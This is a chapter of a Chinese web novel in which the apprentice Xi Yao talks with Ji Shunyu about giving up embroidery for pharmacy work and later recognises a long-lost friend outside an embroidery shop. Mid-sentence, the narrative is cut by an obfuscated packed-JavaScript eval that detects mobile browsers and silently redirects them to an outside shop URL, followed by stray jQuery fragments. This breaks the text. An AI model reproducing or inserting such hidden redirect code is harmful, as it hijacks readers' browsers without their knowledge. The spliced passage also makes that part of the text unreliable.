13. 故人

作品:《长亭·终不晚

    【本文所提及的单味药、中成药、方剂皆不做疾病参考,若有不适,请及时线下就医,切勿拖延!下方药材注解为百度百科,请勿自行食用!】


    路路通:味辛、苦,性平。可祛风利水,通经下乳(路路通,即哪里都通,通经、通乳、通血、通水)


    “那就有劳季公子了。”她将手里的东西递出。


    这是新给于夫人开的药,席尧本打算晚点去送,不想季公子上门,说路过可以顺道带回去,倒是便宜她不用跑一趟。


    季顺禹接过串好的药包,脚步未动,正想开口却听见伙计的问候声,遂先转头去看人。


    “季小姐,需要些什么?”


    席尧随季顺禹一块把目光移过去,见一位妙龄女子立在店内,身上的丽色华服在萧肃的冬日里更显出色。


    听见陈茂问话,女子身后跟着的婢女把一张方子递过去。


    “锦云?”季顺禹看清了人,“怎么跑到这里来抓药?”


    他疑惑这个妹妹亲自出门买药也就罢了,怎么还跑那么远,季府虽说就在仁医馆背面,但实际上过来得绕几条街。


    季锦云进门就看到人,只是没想到是熟人,她看着堂哥,不自在道:“顺禹哥哥,你也来抓药么。”


    季顺禹应一声,“怎么,青砖街的铺子没这些药?”


    青砖街是季府所在的那条街,街上有专做药材生意的铺子,季府抓药一般都在那。


    应该不至于,席尧看着柜台上的药材心想,都是些常用的,有几样还能在佐料铺子买到。


    她收回目光看几步之外的女子,看来这位季小姐是后面季府哪位老爷的女儿,之所以不知道是哪位老爷,是因为说是分家,但除了季宅母子搬离,其他两家都还在季府住着。


    季锦云随意道:“不是,只是刚好来这附近,顺道买一些。”回头见东西已经包好,便同堂哥说辞,带着婢女离开了。


    季顺禹看她走得匆匆,微觉奇怪,但也没深思,对席尧道:“不知道席姑娘有没有空送我一段路?”


    席尧正感慨两兄妹顺道都赶在一天,听这话愣了一下。


    所以他有什么想说的?


    与季顺禹并肩走出半条街席尧也没能想出个头绪。


    他们又不熟。


    至少不如她同于夫人那么熟络。


    继在季宅被请进门喝茶以后,她每次上门送药于夫人都要留客一番,她猜是府上人少,于夫人没什么消遣。


    于夫人和善,一来二去,她们也算是相谈甚欢。


    席尧不动声色地看了眼旁边人,目光滑过他提着的药包,对了,于夫人还吃着药,算算时间也有四五个月了,所以他会不会想问这个?


    季顺禹年前有一段时间没在渝州,于夫人说他进京去做生意了,想必现下空了见母亲还没断药,便有些操心。


    席尧自觉找到了关键,开始在脑中整理说词。


    于夫人其实已无大碍,现在吃着的都是滋养温补的方子,李大夫昨天还说不必用药了。


    “听说席姑娘之前是黔州的绣娘,怎么会想到来渝州做药童呢?”


    “其实……”


    眼看就要走过整条街,席尧索性直接开口,没想到身边人抢先一步,她只能把后面的话咽回去。


    肯定是于夫人跟他说的,但她猜不出他特意来问的原因。


    季顺禹见身旁沉默,赶忙道:“我无意探听姑娘私事,只是母亲提起后觉得好奇。”


    席尧双手交握,笑道:“是啊,都觉得做绣娘好,一个平民女子,最体面的身份不就是绣娘。”


    她想起与家人的那些争论,还有前两天吴薇说的那番话。


    可是体面这种东西,也是要分谁来看的。


    季顺禹听出话中的讥讽,道:“我只是觉得姑娘一介女子,两地相隔千里,既已做了绣娘,又何必再来遭这份罪?”


    席尧偏头听他继续,“季某不久前入京城是想寻父亲之前的商友帮衬,但不甚顺利,终归是我想得太简单,年节在家听母亲说起姑娘举措,实属敬佩,所以才想问问。”


    她听他声音愈轻,心中明了。


    子承父业并不容易,不是所有人都买账的,他碰了一鼻子灰,回来听于夫人言语,于是想来听些肺腑之言。


    她有很多晓晓说的“鸡汤”。


    “季公子灰心了?”席尧偏头望向季顺禹,“想问我为什么坚持以此得到些信念?可惜我这里也没什么新鲜言论,勉励人的话说来说去就是那些,无非都是劝你心怀勇气往下走。”


    她看着他暗下去的眼神,笑道:“不过我这里有别的话你要不要听?”


    她没再去看男子的神色,径直向前迈步。


    “这世上有许多条路,你会走哪一条其实一开始就注定了,因为所有的所有冥冥中都会把你引上那条路,所以对你而言,每一条路都是最好的选择,就算不尽如心意。


    “既然如此,那就别后悔,‘不后悔’三个字至少让人看起来没那么失败。”


    况且后悔又有什么用呢?


    季顺禹没听过这种言论,看着走出几步,背影坚决的女子,心有所思,这话还是劝人的话,他知道,可是听过以后却觉得畅达。


    他从没后悔过独立出季府,那现在所面对的就是无论如何都要面对的,所以,哪有能退缩的地步呢?而且做决定之前不也料到前路会比留在季府更难吗?


    席尧又回过头看季顺禹,“季公子刚刚问我为何不做绣娘,这确实是大多数女子会选择走的路,只是我不甘心,所以想走别的路试试。”


    她的目光滑开,至于为什么是药童……


    她想起那次问晓晓“如果我不做绣娘,现在去从医,会不会太晚了”——那时她被绣坊逼得很不想做绣娘。


    晓晓听了很诧异,但说的话却和别人不一样,晓晓说“你知道的,我不劝人学医,劝人学医,天打雷劈!”


    她“噗嗤”一声就笑了出来,晓晓又劝,先找到下家再跑路。


    席尧目光往后越来越远。


    不是晓晓劝的,是她自己想的。


    她要和她拿同样的针。


    季顺禹没想能听到这一番自白,对面人眼神已不知望到了何处,他默了会,缓缓道:“那么预祝姑娘,得偿所愿。”


    ——


    “你去哪了?我找你了大半天!”


    “……我送季公子出门,看见有个走街卖饴糖的小贩,就想跟去买点。”


    席尧不好跟吴薇说她差点把人送回季宅,然后季公子又送她回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978323|193549||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来,怕被人看见,到了街口她又让他回去。


    “那‘钉钉糖’呢?”


    “……这不是……追了半天没追上嘛!”席尧“遗憾”低头。


    这都追不上,吴薇傻眼,忽而想到正事,“对了,前两天说带你去春彩阁看看,现在去不去?听说那出了新绣样的手帕,可漂亮了!”


    她晃着席尧的胳膊,道:“反正今天李伯休息,你不用跟着看诊,一会我们出去谁也不会寻我们的。”


    今天确实没什么急着要做的,席尧点点头,任由吴薇扯着出了门。


    春彩阁与仁医馆只隔着三条街,铺面不大,但精致,放眼望去内里琳琅满目。


    长条木柜和多宝木架分立两边,中间空出一片,木柜上放着花色不同的手帕,木架上摆着图案不同的扇子,铺面靠后的地方有楼梯通向二楼。


    这会铺子里挤满了姑娘媳妇,吴薇甫一进门就混入其中,顺着摆放一路往里细看。


    席尧看伙计只将几个打扮富贵的女子往楼上引,知道上边不是她们能去的,便跟在吴薇身后。


    吴薇手上拿着好几条帕子比对,哪条都夸好看。


    席尧算是知道了那一屋子的小玩意是怎么来的。


    吴薇的屋子里全是各式各样的小物件,布老虎、纸画小人、泥塑彩哨、荷花灯、木雕小摆件……数不胜数,床头都要被她堆满了,这还是她带到仁医馆来的,之前席尧去过她家,她闺房里的东西就更多了,还有一堆胭脂粉面的瓶瓶罐罐!


    席尧无奈,看吴薇的兴奋样只能低声嘱咐“多想想荷包里的银子!”


    吴薇想想也是,又走到对面去看架起来的扇面绣花。


    席尧没再跟去,随手翻着眼前的丝帕。


    绣样应该是新出的,梅落枝头的样子与以往不同,新颖,这个时节用着也应景,不过细看收尾的几针有点急。


    她不由自主地开始评判,应该是个新手,经验丰富的绣娘都不会出这种错,意兴阑珊地又翻看了几张,因为实在人多,她不想妨碍别人,便出门去候着。


    蓝色锦衣女子被伙计恭敬的送出门,一眼就看见了站在门口的席尧,她眼中闪过一丝慌乱,随即匆匆登上了停在街边的马车。


    车夫马鞭一甩,马蹄抬起,带着车缓缓而去。


    吴薇什么也没买,跟着蓝衣女子后脚出了门,见席尧目光随着女子上车,又目不转睛地盯着跑远的马车,道:“你看什么呢?”


    “……没什么……就是觉得她打扮好看。”席尧自己也不知道在说什么,她脑中已经炸开一片,这是仅剩的思绪了。


    吴薇回想,“应该是王家小姐,或者秦家夫人。”她不无得意地道:“那个车夫我认识,他来店里抓过几次药,他是马车行的,那辆车也是,这车夫惯常跟着的人家有三户,王家、秦家还有赵家,看刚刚那女子的年纪与赵家的都对不上,倒像是王家小姐或者秦家夫人。”


    一些妇人婚后也还做姑娘打扮,所以吴薇不能确定具体是谁。


    是秦家夫人,最后一句话才让席尧碎裂的思绪合拢。


    不过,也曾是王家小姐。


    她垂下眼,遮住眼底的一片湿红,心中巨浪翻起,又很快平静,满心只剩一个念头。


    没死真好!